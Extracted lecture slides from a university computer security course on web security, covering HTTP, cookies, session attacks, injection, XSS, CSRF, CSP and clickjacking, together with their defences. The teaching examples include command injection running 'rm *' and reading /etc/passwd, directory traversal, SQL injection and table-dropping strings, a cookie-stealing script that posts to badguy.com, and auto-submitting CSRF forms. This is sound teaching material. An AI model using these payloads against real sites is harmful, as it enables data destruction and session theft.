CS 177 - Computer Security

Web Security
The World Wide Web (Web, WWW)

- Powerful platform for distributing information and deploying applications
- Massive user population
- Relative ease of application development
- Applications distributed across clients and servers – open sharing model
  → common to use resources provided by third parties
Web Apps are Prime Targets

- Often have access to sensitive data
- Large user populations
- Stepping stone to access otherwise protected networks
- Historically have contained many vulnerabilities
WWW – History

- **1990:** First proposed by Tim Berners-Lee and Robert Cailliau at CERN in
  - HTTP protocol, CERN httpd
  - Alternative to Gopher (Univ. of Minnesota)

- **1993:** Mosaic web browser developed at UIUC by Marc Andreesen (later co-founder of Netscape)
  - Gopher started charging licensing fees

- **1994:** W3C (WWW Consortium) formed to generate standards
Nowadays: Ecosystem of Technologies

- HTTP / HTTPS
- AJAX
- PHP
- JavaScript
- SQL
- Apache
- ASP.NET
- Ruby on Rails
- http://w3schools.com/
Web Architecture

WWW based on the HTTP protocol (or HTTPS, encrypted version using TLS)

Client, runs browser

(1) HTTP request for URL

(2) HTTP response, with contents

Server

(3) Render response contents in browser

Caveat: Displaying one single webpage may entail multiple requests!
A Typical Web Server Setup

UC Santa Barbara
Web Architecture

WWW based on the HTTP protocol (or HTTPS, encrypted version using TLS)

- Hypertext Transfer Protocol (HTTP)
  - a stateless text-based protocol for transferring data and invoking actions on the Web

- HTTP messages have a header and optional body
- HTTP requests invoke a method on some resource path
- HTTP responses return a status code and optionally data
HTTP Basics

Every HTTP request is for a certain URL – **Uniform Resource Locator**


- **protocol**
- **hostname**
- **port**
- **path / resource**
- **query**

**Special characters:**
- + = space
- ? = separates URL from parameters
- % = special characters
- / = divides directories, subdirectories
- # = bookmark
- & = separator between parameters

**URLs only allow ASCII-US characters.**
Encode other characters:
- %0A = newline
- %20 = space
**HTTP Request**

<table>
<thead>
<tr>
<th>Method</th>
<th>File</th>
<th>HTTP Version</th>
<th>Headers</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td>/index.html</td>
<td>HTTP/1.1</td>
<td></td>
</tr>
<tr>
<td>Accept: image/gif, image/x-bitmap, image/jpeg, <em>/</em></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Accept-Language: en</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Connection: Keep-Alive</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Host: <a href="http://www.example.com">www.example.com</a></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Referer: <a href="http://www.google.com?q=dingbats">http://www.google.com?q=dingbats</a></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Blank Line**

Data – None for GET

**GET:** no side effect  
**POST:** possible side effect
HTTP Response

HTTP Version  Status Code  Reason Phrase

HTTP/1.0  200  OK
Date: Sun, 21 Apr 1996 02:20:42 GMT
Server: Microsoft-Internet-Information-Server/5.0
Connection: keep-alive
Content-Type: text/html
Last-Modified: Thu, 18 Apr 1996 17:39:05 GMT
Set-Cookie: ...
Content-Length: 2543

<HTML> Some data... blah, blah, blah </HTML>

Contents usually contains:
• HTML code for hypertext contents
• JavaScript code
• Links to embedded objects (Adobe Flash)

Contents may be generated dynamically server side.
Three Layers of Content

• Static content (HTML webpage)

• Dynamic content (code) run on client-side
  – JavaScript content
  – Client can see the code, and browser executes it

• Dynamically generated content on server-side
  – Web server can run applications, and direct output to HTTP response
  – PHP, ASP, .. allow for convenient inline inclusion of server-side executable instructions
Browser Code Execution

Each browser window (or tab)

- Retrieve/load content
- Render it
  - Process the HTML
  - Might run scripts, fetch more content, etc.
- Respond to events
  - User actions: OnClick, OnMouseover
  - Rendering: OnLoad, OnBeforeUnload
  - Timing: setTimeout(), clearTimeout()
Browser Security Model

Should be safe to visit any website

Should be safe to visit sites simultaneously

Should be safe to delegate content
**Same-Origin Policy (SOP)**

SOP is the fundamental security policy for the web

- Access is only granted to documents downloaded from the same origin as the script
  - prevents hostile script from tampering other pages in browser
  - prevents script from snooping on input (passwords) to other windows
  - verify (compare) URLs of target document and script that access resource

- Domain comparison is not trivial
  - use everything except the first token? [http://slashdot.org](http://slashdot.org)

- Thus, checks are very restrictive
  - Isolate code from distinct origins, where origin is tuple of ⟨domain,protocol,port⟩
Web Security Threat Model

1. Attacks against the communication between client and server
   - adversary can monitor (and maybe modify) HTTP traffic
   - goal is to read of tamper with user sessions (and cookies)

2. Attacks against web applications
   - adversary can send inputs to (publicly accessible) web applications
   - goal is to run malicious code within context of the web application
     (access sensitive data, launch denial of service, attack other users of the application, ...)

3. Attacks against the browser / user
   - adversary can run code in victims’ browsers
   - goal is to run malicious code on client to access sensitive data, compromise browser, compromise device, ...
Session Management

• HTTP is a stateless protocol: it does not “remember” previous requests
• Web applications must create and manage sessions themselves
• Session data is
  – stored at the server
  – associated with a unique Session ID
• After session creation, the client is informed about the session ID
• Client include session ID with each request
Session ID Transmission

Three possibilities for transporting session IDs

1. Encoding it into the URL as GET parameter; has the following drawbacks
   - stored in referrer logs of other sites
   - caching
   - visible in browser location bar (bad for internet cafes...)

2. Hidden form fields: only works for POST requests

3. Cookies: preferable and most common
Session Cookies

- Session (or HTTP) cookies
  - Client-side state stored on an origin’s behalf
  - Cookie size is usually limited to 4 KB
  - Set by the Set-Cookie response header, submitted by the Cookie request header
  - Expires attribute used to timeout or clear a cookie
  - Secure attribute prevents transmission over HTTP
  - HttpOnly attribute prevents access from scripts
Where to Send a Cookie?

• Determined by scoping rules
  – uses domain and path information

• Domain specifies allowed hosts to receive the cookie. If unspecified, it defaults to the host of the current location, excluding subdomains. If domain is specified, then subdomains are always included.

• Path indicates a URL path that must exist in the requested URL
Where to Send a Cookie?

- Browser sends all cookies such that
  - domain scope is suffix of URL-domain
  - path is prefix of URL-path
  - protocol is HTTPS if cookie marked “secure”
Session Cookies

• Typical use of cookies for authentication

1. Client submits authentication credentials
2. If validated, server generates a new session identifier
3. Server creates a server-side session record
4. Server stores the ID at the client in a cookie
5. Client sends the session ID with each subsequent request
6. Session is dropped by cookie expiration or clearing the server-side record
Session Attacks

- Targeted at stealing the session ID

- Interception / Session hijacking
  - intercept request or response and extract session ID

- Prediction
  - predict (or make a few good guesses about) the session ID
  - especially easy when weak session IDs are used

- Brute Force
  - make many guesses about the session ID

- Fixation
  - make the victim use a certain session ID
Session Hijacking

[http://codebutler.com/firesheep]
Predictable / Weak Session IDs

- Attacker first analyzes the session ID generation process and understands the structure of IDs
  - What predictable information does the session ID contain? Username or ID? Client IPs? Time stamps?
  - How big is the search space for random parts?
  - How is the session ID protected? Not at all? Simple base64 encoding? Hash without secret key?

[https://owasp.org/www-community/attacks/Session_Prediction]
Session Fixation Attack

• Session fixation allows an attacker to set a victim’s session ID to a known value

• Requirements for the attack
  – user must click on a malicious link and then log into target application
  – applications must accept session IDs it did not generate
  – IDs must be accepted from query parameters
Suppose we have a bank online.worldbank.com

- when the website is accessed, a session ID is transported via URL parameter sessionid

2. Attacker is issued a sessionid=1234
3. Attacker sends sessionid to victim, included as parameter of a link http://online.worldbank.com/login.jsp?sessionid=1234
4. The user clicks on the link and is taken to the banking application login. The web application sees that a session has been assigned and does not issue a new one
5. Victim logs into site
6. Attacker can access victim’s account
Session Fixation Attack

HTTP Authentication

- (Alternative) authentication mechanism built into the HTTP standard

- Should (must) only be performed over encrypted channels
- No provision for dropping a session
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     compromise browser, compromise device, ...
Web Server Scripting

- Allows easy implementation of functionality, also for non-programmers (is this a good idea?)
- Example scripting languages are PHP, Python, ASP, JSP, Perl
- Scripts are installed on the Web server and return HTML as output that is then sent to the client
- Template engines are often used to power Web sites
OWASP – Top 10

Open Web Application Security Project (www.owasp.org)

OWASP is dedicated to helping organizations understand and improve the security of their web applications and web services.

The Top Ten vulnerability list was created to point corporations and government agencies to the most serious of these vulnerabilities.
OWASP TOP-10
INJECTION ATTACKS
Web Server Scripting

- Webpage can contain code that is not visible to client and executed server-side

```html
<!DOCTYPE html>
<html>
<body>

<h1>My first PHP page</h1>

<?php
  echo "Hello World!";
?>

</body>
</html>
```

https://www.w3schools.com/php/phptryit.asp?filename=tryphp_syntax
PHP Command Injection

PHP command `eval(cmd_str)` executes string `cmd_str` as PHP code

http://example.com/calc.php

What can attacker do?

http://example.com/calc.php?exp="11 ; system('rm * ')

...$in = $_GET['exp']; eval('$ans = '.$in.';'); ...

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PHP Command Injection

```
$email = $_POST["email"]
$subject = $_POST["subject"]
system("mail $email -s $subject < /tmp/joinmynetwork")
```

http://example.com/sendmail.php

What can the attacker do?

http://example.com/sendmail.php?

```
email = "aboutogetowned@ownage.com" &
subject= "foo < /etc/passwd; ls"
```
File Inclusion Vulnerability

- Application builds a path to file, using an attacker-controlled variable
- Can be used to read content of files on the file system
- In some cases, when file is executed, allows attacker to control which code is executed at run time

- Two types of file inclusion vulnerabilities
  - LFI (local file inclusion) – the application accesses a local file
  - RFI (remote file inclusion) – the application downloads a file from a remote site (typically via HTTP or FTP)
File Inclusion Vulnerability

```php
if (isset($_GET['language'])) {
    include($_GET['language'] . '.php');
}
```

What can the attacker do?

http://example.com/app.php?

```
language=../../../../../etc/passwd
```

Directory Traversal Attack
SQL

- Query language for database access
- Table creation
- Data insertion/removal
- Query search
- Supported by major DB systems

- Basic SQL commands
  
  ```sql
  SELECT Company, Country FROM Customers WHERE Country <> 'USA'
  DROP TABLE Customers
  ```
SQL

Webserver may want to display dynamic data from database

Solution: PHP-based SQL

```php
$recipient = $_POST['recipient'];
$sql = "SELECT PersonID FROM Person WHERE Username='$recipient'";
$rs = $db->executeQuery($sql);
```
SQL Injection

```
set ok = execute("SELECT * FROM Users
WHERE user=' " & form("user") & " ' AND pwd=' " & form("pwd") & " ' "");

if not ok.EOF
    login success
else  fail;
```

What the developer expected to be sent to SQL database

```
SELECT * FROM Users WHERE user='me' AND pwd='1234'
```
**SQL Injection**

```sql
set ok = execute(
    "SELECT * FROM Users
    WHERE user='" & form("user") & "'
    AND pwd='" & form("pwd") & "'");

if not ok.EOF
    login success
else fail;
```

**Input:** user="’ OR 1=1 -- " (-- tells SQL DB to ignore rest of line)

**SELECT * FROM Users WHERE user='’ OR 1=1 -- ’ AND ...**

**Result:** ok.EOF false, so login is successful
SQL Injection

```
set ok = execute( "SELECT * FROM Users
  WHERE user=' " & form(“user”) & " '
  AND pwd=' " & form(“pwd”) & " ' " );

if not ok.EOF
  login success
else  fail;
```

**Input:** user="’; DROP TABLE Users " (URL encoded)

**SELECT * FROM Users WHERE user=‘ ‘; DROP TABLE Users --....

**Result:** User table is deleted
SQL Injection

http://xkcd.com/327/
Advanced SQL Injection

• Web applications will often escape the ‘ and “ characters (e.g., PHP).
  – this will prevent many SQL injection attacks ... but there might still be vulnerabilities

• In large applications, some database fields are not strings but numbers. Hence, ‘ or “ characters not necessary (e.g., ... where id=1)

• Attacker might still inject strings into a database by using the “char” function (e.g., SQL Server)
  – insert into users values(666,char(0x63)+char(0x65)...)
Blind SQL Injection

• A typical countermeasure is to prohibit the display of error messages. But, is this enough?
  – No, your application may still be vulnerable to blind SQL injection

• Let’s look at an example. Suppose there is a news site:
  – press releases are accessed with pressRelease.jsp?id=5
  – SQL query is created and sent to the database
    
    ```sql
    select title, description FROM pressReleases where id=5;
    ```
  – any error messages are smartly filtered by the application
Blind SQL Injection

• How can we inject statements into the application and exploit it?
  – We do not receive feedback from the application, so we need to use a trial-and-error approach
  – First, we try to inject `pressRelease.jsp?id=5 AND 1=1`
  – The SQL query is created and sent to the database
    
    ```sql
    select title, description FROM pressReleases where id=5 AND 1=1
    ```
  – If there is an SQL injection vulnerability, the same press release should be returned
  – If input is validated, `id=5 AND 1=1` should be treated as invalid
Blind SQL Injection

- When testing for vulnerability, we know 1=1 is always true
  - However, when we inject other statements, we do not have any information
  - What we know: If the same record is returned, the statement must have been true
  - For example, we can ask server if the current user is “h4x0r”
    pressRelease.jsp?id=5 AND user_name()=‘h4x0r’
  - By combining subqueries and functions, we can ask more complex questions (e.g., extract the name of a database character by character)
Let us use pressRelease.jsp as an example. Here is the code:

```java
String query = "SELECT title, description from pressReleases WHERE id= " +
request.getParameter("id");
Statement stat = dbConnection.createStatement();
ResultSet rs = stat.executeQuery(query);
```

The first step to secure the code is to take the SQL statements out of the web application and into DB

```sql
CREATE PROCEDURE getPressRelease @id integer
AS
SELECT title, description FROM pressReleases WHERE Id = @id
```
Now, in the application, instead of string-building SQL, call stored procedure

```java
CallableStatements cs = dbConnection.prepareCall("{call getPressRelease(?)}");
cs.setInt(1,Integer.parseInt(request.getParameter("id")));
ResultSet rs = cs.executeQuery();
```
CROSS-ORIGIN ATTACKS (INCL. XSS)
• *JavaScript had to “look like Java” only less so, be Java’s dumb kid brother or boy-hostage sidekick. Plus, I had to be done in ten days or something worse than JavaScript would have happened.* — Brendan Eich

• Standard browser scripting language
• Dynamic typing, prototype-based inheritance, first-class functions
Cross-Site Scripting (XSS)

- Cross-Site Scripting (XSS): Running malicious code in the security context of a trusted origin (cross-origin scripting)
- XSS arises from code injection vulnerabilities in web applications
- Code injection possible when untrusted input is included into documents and interpreted as script
- Typical goals: Steal session IDs, execute sensitive actions as victims
Cross-Site Scripting (XSS)

• XSS attacks can generally be categorized into two classes: stored and reflected

• Server-side Reflected (Type 1). The victim visits a link containing the XSS payload. The server integrates the payload into the document it returns to the victim’s browser as script.

• Server-side Stored (Type 2). The attacker injects an XSS payload into the vulnerable web application’s persistent store. Victims are served documents containing the payload interpreted as script.
XSS Delivery Mechanisms

• Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web server
  – When a user is tricked into clicking on a malicious link or submitting a specially crafted form, the injected code travels to the vulnerable web server, which reflects the attack back to the user’s browser

• Stored attacks require the victim to browse a web site
  – Reading an entry in a forum is enough
Reflected XSS Attack

1. Visit web site
2. Receive malicious link
3. Click on link
4. Echo user input
5. Send valuable data
Example XSS – Stealing Cookies


```html
<HTML>  <TITLE> Search Results </TITLE>
<BODY>
Results for <?php echo $_GET[term] ?> :
...
</BODY>  </HTML>
```


```html
<script> window.open(
   "http://badguy.com?cookie = " +
   document.cookie ) </script>
```

Outcome?  Client victim’s cookie to access victim server sent to badguy.com
Reflected XSS Attack

1. Send malicious link

2. Click on link

3. Echo user input

4. Send victim’s cookie for victim.com

---

**Victim Client**

```
<html>
Results for
<script>
window.open(http://badguy.com?
... document.cookie ...)
</script>
</html>
```

**Victim Server**

```
<script> window.open(
    “http://badguy.com?cookie = ” +
document.cookie )</script>
```

**Attack Server**
Stored XSS

1. Attack Server
   - Inject malicious script

2. Server Victim
   - Receive malicious script

3. Victim Client
   - Request content

4. Victim Client
   - Steal valuable data

Example: Victim server could be an online forum, where contents can be posted!
Defending against XSS Attacks

- HTTPOnly Cookies
- Client-side (browser) XSS Filters
- Input and output filtering on the server
Client-side XSS Filters

- Client-side XSS filter: Heuristic browser defense to block “script-like” data sent as part of HTTP requests
- Enabled by servers sending a special HTTP header:
  - X-XSS-Protection: 1; mode=block

- Can detect certain forms of reflected XSS
- Does not guarantee security (in fact, many bypasses have been published, and a bypass is not eligible for Chromium bug bounty)
Input and Output Filtering

- Input and output filters attempt to block untrusted content from being interpreted as script in documents
- Input validation filters sources of untrusted input
- Output sanitization filters untrusted content at document generation (interpolation) sites
Input Validation

- Input validation can use a whitelist or blacklist approach
  - Blacklist: Filter dangerous characters, tags, etc.
  - Whitelist: Ensure data is well-formed
- Easy to mediate all inputs, but difficult to ensure safety

```javascript
// Example of whitelist-based input validation
let input = request.query_param("message");
if (!is_valid_base64(input)) {
  return abort(500);
}
```
Output Sanitization

Output sanitization filters untrusted data at interpolation
Often integrated into templating languages
More difficult to ensure complete mediation, but higher assurance of safety
Cross-Site Request Forgery (CSRF)

- Executing HTTP requests without user authorization

1. Establish session
2. Visit server (or iframe)
3. Receive malicious page
4. Send forged request (w/ cookie)

User Victim

Server Victim

Attack Server
How CSRF Works

- User’s browser logged in to legitimate bank
- User’s browser visits malicious site containing

```html
<!--
Attacker assumes victim is logged into bank.com. When the victim visits the attacker’s site, a bank transfer is automatically executed.
-->
<form action="https://bank.com/transfer">
  <input type="hidden" name="recipient" value="${attacker_account}"/>
  <input type="hidden" name="amount" value="${amount}"/>
</form>
<script>document.forms[0].submit();</script>
```

- Goal: Attacker gets victim to perform an action that requires authentication (e.g., making a bank transfer, sending an e-mail, ...)
- And browser sends session cookie to bank. Why?
  - Cookie scoping rules
Basic CSRF Attack

User Credentials

www.attacker.com

GET /blog HTTP/1.1

www.bank.com

POST /transfer HTTP/1.1

Rec: http://www.attacker.com/blog

recipient=attacker&amount=$100

Cookie: SessionID=523FA4cd2E

HTTP/1.1 200 OK

Transfer complete!
Login CSRF

- Special case of CSRF where an attacker forces to log in a victim under an *attacker-controlled* account and later views the victim’s actions

```html
<form action="https://bank.com/login">
  <input type="hidden" name="username" value="${attacker}"/>
  <input type="hidden" name="password" value="${password}"/>
</form>
<script>document.forms[0].submit();</script>
```
CSRF Defense – CSRF Token

• Include field with large random value or HMAC of a hidden value

```html
<form action="https://bank.com/billpay">
   <!-- Other fields... -->
   <input type="hidden"
          name="CSRF_TOKEN"
          value="wP6GQ4YDkHaMkefZUFZ0DhaM6pg+Z3WSAmd75mJ5V3w="">
</form>
```

• Goal: Attacker can’t forge token, server validates it
  – Why can’t another site read the token value?
  – Same origin policy: Cookie not sent to attacker’s page
CSRF Defense - Referrer Validation

- Check referrer
  - Referrer = bank.com is ok
  - Referrer = attacker.com is NOT ok
  - Referrer = ???
    - lenient policy: allow if not present
    - strict policy: disallow if not present (might impact functionality)

- Problem: Referrer’s often stripped, since they may leak sensitive information!
  - HTTPS to HTTP referrer is stripped
  - Clients may strip referrers
  - Network stripping of referrers (by organization)
• Basic CSRF requires a one-step non-idempotent action, though chained variants exist

• CSRF is the dual of XSS
  – XSS: Client trust in the server is violated
  – CSRF: Server trust in the client is violated

• CSRF is a classic example of a confused deputy attack
  – a high-privilege component is tricked into performing a malicious action on an adversary’s behalf
Refining Same-Origin Policy

• Recall that the same-origin policy is the fundamental safety invariant in the web security model

• Developers have loudly complained that SOP is not well-suited for the web
  – Too strict: Scripts cannot communicate with trusted origins
  – Too permissive: Origins often conflate multiple, mutually untrusting principals
Content Security Policy

- Content Security Policy (CSP): Browser security framework for enforcing document-scope access control policies on web resources

- CSP provides a standard method for website owners to declare approved origins of content that browsers should be allowed to load on that website

- Introduced by Mozilla in 2008 as a broad defense against XSS and CSRF (based on earlier idea called Content Restrictions)

- Has found wider application as an application/extension sandboxing primitive
CSP Policy

• CSP policies are specified by the server-side web application and are composed of resource-specific access control directives over origin patterns

# Snippet of GitHub CSP that enforces the policy:
# - By default, any non-whitelisted resource load is denied
# - Content must either be all HTTP or all HTTPS
# - Scripts cannot be inline and must be loaded from assets-cdn.github.com
# - Inline CSS is allowed

**Content-Security-Policy:** default-src 'none'; block-all-mixed-content;
script-src assets-cdn.github.com; style-src 'unsafe-inline' [...]

CSP Policy

• Strong protection because all inline scripts are blocked, and script sources are explicitly defined

• What if you need inline scripts (e.g., legacy web app)
  – solution are CSP script nonce or hash

```html
Content-Security-Policy: script-src \\
  'sha256-u7YE3NdCch2xoT6jhC2trt5dKAz_v43P2TLa4eGs7s4='

<script>
  // Script will only execute if its content hash has been whitelisted
</script>
```
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     compromise browser, compromise device, ...
**Browser Vulnerabilities**

- Long and troubling history of bugs
- Full access to user’s browser or even device
- Security improvements
  - browser sandbox
  - split render processes from rest of browser
  - massive use of fuzzing
  - known implementation holes are quickly closed (auto update)
- Impact of these improvements
  - browser security situation was much worse ten years ago
  - drive-by download exploits were very common, now almost gone
  - attackers changed focus to browser extensions
Browser Extensions

• Major browsers provide frameworks for extending the core functionality of their browsers
  – Chrome Extensions
  – Mozilla Add-Ons, JetPack, WebExtensions

• Extensions have greater privileges than normal web applications WRT the SOP and underlying system access
Legacy Firefox Extensions

- Legacy Firefox extensions (Add-Ons) were the first browser extension framework

- Significant privileges
  - full access to the underlying operating system
  - full access to all frames and other extensions

- Security model based on manual vetting via code review and can be bypassed
Chrome Extensions

• Chrome extensions introduced least privilege and privilege separation between extensions and extension components
• Threat model is “benign-but-buggy” extensions
• Extensions have content scripts and extension cores
  – each extension has its own DOM and JavaScript heap
  – Content scripts interact directly with applications and have no access to privileged browser APIs
  – Core extensions perform privileged actions on behalf of content scripts
  – Privileged actions can only be invoked over IPC
Clickjacking

- Clickjacking (or UI redressing) attacks trick users into performing attacks using invisible frame overlays

1. Attacker frames an invisible version of a sensitive web app
2. Attacker overlays the invisible app on a visible UI meant to entice user interaction
3. User attempts to interact with the visible UI, but actually interacts with the invisible one
Clickjacking

Malicious (and invisible) button is put over legitimate content
JavaScript-based Anti-Framing

```javascript
if (parent.frames.length > 0) {
    top.location.replace(document.location);
}
```

- Embed in your webpage to avoid being rendered within another (adversarial) frame

- Has limitations: See "Busting Frame Busting: a Study of Clickjacking Vulnerabilities on Popular sites"
X-Frame-Options

- Modern browsers implement X-Frame-Options HTTP header policies as a principled defense

X-Frame-Options: deny
X-Frame-Options: sameorigin
X-Frame-Options: allow-from https://trusted.io